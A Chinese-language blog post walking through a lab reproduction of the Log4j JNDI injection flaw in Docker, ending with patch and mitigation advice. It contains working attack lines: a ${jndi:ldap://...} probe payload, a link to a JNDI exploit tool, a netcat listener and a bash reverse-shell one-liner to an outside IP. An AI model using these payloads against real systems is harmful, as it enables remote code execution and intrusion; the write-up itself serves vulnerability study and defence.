log4j 漏洞复现
漏洞信息

已知影响范围
- Spring-boot-strater-log4j2
- Apache Solr
- Apache Flink
- Apache Druid
环境信息
- 靶场:docker
- dnslog:http://www.dnslog.cn/
- exp 测试工具:https://github.com/Mr-xn/JNDIExploit-1/releases/tag/v1.2
漏洞POC
payload: ${jndi:idap://[这里填写在上面提到的dns platform 中获取到的dns域名]}
poc = 指示目标请求我们自己搭建的 ldap 服务器或者 rmi 服务器
漏洞原理
jndi :是一个能够调用对应的 LDAP 和 rmi 的服务,大部分 JAVA 组件都存在该协议
LADP:是一个轻量级目录访问协议
Log4j2 这个日志框架允许用户直接输入包含特定指令的字符串,这些指令会触发 Log4j2 去执行查找并解析远程代码,最终导致攻击者可以在目标服务器上运行任意命令,本质上来说 log4j 漏洞数据 jndi 注入漏洞。

漏洞复现
这只是其中的一种复现方式
- 启动 docker
root@lj-nas:/home/admsec# docker run -dti -p 28080:8080 ^C |
- 获取域名,dnslog:http://www.dnslog.cn/

- 构造恶意语句,并测试是否存在漏洞
${jndi:ldap://nddeiu.dnslog.cn} |
- 访问恶意链接

- 看到回显,证明漏洞存在

- 获取 Java 版本,接下来考虑如何获取 shell


- 上传 exp 到服务器,解压并运行 -i 后面跟自己服务器 ip,这样我们本地就搭建好了一个 LDAP 服务,这个服务的作用是进行远程目录访问,我们本地服务器的文件放在 8080 端口

- 新开一个服务器终端,开启端口监听,并且构造一下 exp
root@admsec223:~# nc -lvvp 8888 |
bash -i >& /dev/tcp/120.*.*.*/8888 0>&1 |
- 成功获取shell,并且 LDAP 服务有回显信息


修复建议
通用:升级最新版本 2.15.0 或以上
临时修补建议:
- 设置启动参数 -Dlog4j2.formatMsgNoLookups=true
- 限制访问外网
- 采用 rasp 对 lookup 的调用进行阻断
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 Admsec 的博客!
评论